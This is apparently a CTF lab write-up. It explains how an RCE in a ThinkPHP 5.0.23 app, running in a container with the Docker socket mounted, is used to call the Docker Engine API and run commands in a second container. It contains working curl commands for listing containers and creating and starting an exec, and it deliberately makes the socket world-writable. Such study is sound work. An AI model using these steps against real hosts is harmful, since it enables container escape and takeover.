What will happen if a docker management system has RCE vulnerability?

What will happen if a docker management system has RCE vulnerability?

testing environment(a simple ctf game)

  • container_1: a think thinkphp5.0 web application(a simple docker management system)
  • container_2: another web application(flag in it)

0x01 What is Docker Engine API?

  • Officinal Docs
    • The Docker Engine API is a RESTful API accessed by an HTTP client such as wget or curl, or the HTTP library which is part of most modern programming languages.
  • Examples
    • Run a container:
      •   $ curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "alpine", "Cmd": ["echo","hello world"]}' -X POST http:/ip:port/containers/create{"Id":"container_id","Warnings":null}
          $ curl --unix-socket /var/run/docker.sock -X POST http:/ip:port/containers/container_id/start
          $ curl --unix-socket /var/run/docker.sock -X POST http:/ip:port/containers/container_id/wait{"StatusCode":0}
          $ curl --unix-socket /var/run/docker.sock "http:/ip:port/containers/container_id/logs?stdout=1"hello world
        
    • List and manage containers
      •   $ curl --unix-socket /var/run/docker.sock http:/ip:port/containers/json
        
    • Stop all running containers
      •   $ curl --unix-socket /var/run/docker.sock http:/ip:port/containers/json
          $ curl --unix-socket /var/run/docker.sock -X POST http:/ip:port/containers/container_id/stop
        
    • List all images
      •   $ curl --unix-socket /var/run/docker.sock http:/ip:port/images/json
        
    • and so on

0x02 Someting about the file /var/run/docker.sock

  • Short answer: it's the Unix socket the Docker daemon listens on by default, and it can be used to communicate with the daemon from within a container.
  • Examples
    • communicate with the daemon within a container
      • I've mounted the host's / var / run / docker. sock file into the container.
      • curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json(Container interior)
      • 1754_1.png
    • Through the api, we can operate docker daemon when we Inside the container.

0x03 Build a test env

  • container_1:
    • mounted the host's /var/run/docker.sock file into the container
    • chmod 666 /var/run/docker.sock (otherwise, the www-data user will not be able to access it)
    • apache2 + php + a php app(docker managment system)
  • container_2:
    • we should operate this container to get flag

0x04 How we can get the flag?

  • thinkphp5.0.23 has a RCE vulnerability
  • payload
    • 1756_1.png
    • 1758_1.png
  • We can execute system commands through this vulnerability
  • exec: curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json
    • 1760_1.png
  • container_1:(a thinkphp5.0.23 web app)
    • controller: Index.php
 <?php
 namespace app\index\controller;
 class Index{    
    public function index(){        
        $content = json_decode(`curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json`, true);        
        $i = 1;        
        //var_dump($content);        
        echo "<h1>容器管理系统</h1>";        
        echo "<h2>正在运行的容器:</h2>";        
        foreach ($content as $value){            
            echo '容器'.$i.'<br>';            
            $i++;            
            echo "Id:".$value['Id']."<br>";            
            echo "Name:".$value['Names'][0]."<br><br>";        
        }    
    }
}
  • 1768_1.png
  • container_2:

    • we should execute 'cat /flag' in container_2 when we in container_1.
    • what should we do?
        1. create a exec by the RCE of thinkpgp5.0.23
        • curl -s --unix-socket /var/run/docker.sock -H "Content-Type:application/json" -d '{"AttachStdin": false,+"AttachStdout": true,+"AttachStderr": true, "DetachKeys": "ctrl-p,ctrl-q", "Tty": false, "Cmd": ["cat","/flag"], "Env": ["FOO=bar", "BAZ=quux"]}' http://localhost/containers/689c87c0befa/exec
        • 1762_1.png
        1. start the exec
        • curl -s --unix-socket /var/run/docker.sock -H "Content-Type:application/json" -d '{"AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "DetachKeys": "ctrl-p,ctrl-q", "Tty": false, "Cmd": ["date"], "Env": ["FOO=bar", "BAZ=quux"]}' http://localhost/exec/3c664f72279fe6623fcf023b60d74e34719853cfc657b1274c441f3edc3c18c6/start
        • 1764_1.png
        1. get the flag
        • 1766_1.png
  • we almost can do anything by exec

0x05 Summary

Docker Engine API is very convenient, but it might bring some risk. So you should set up your file and user permissions to reduce the risk.

0x06 Reference

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容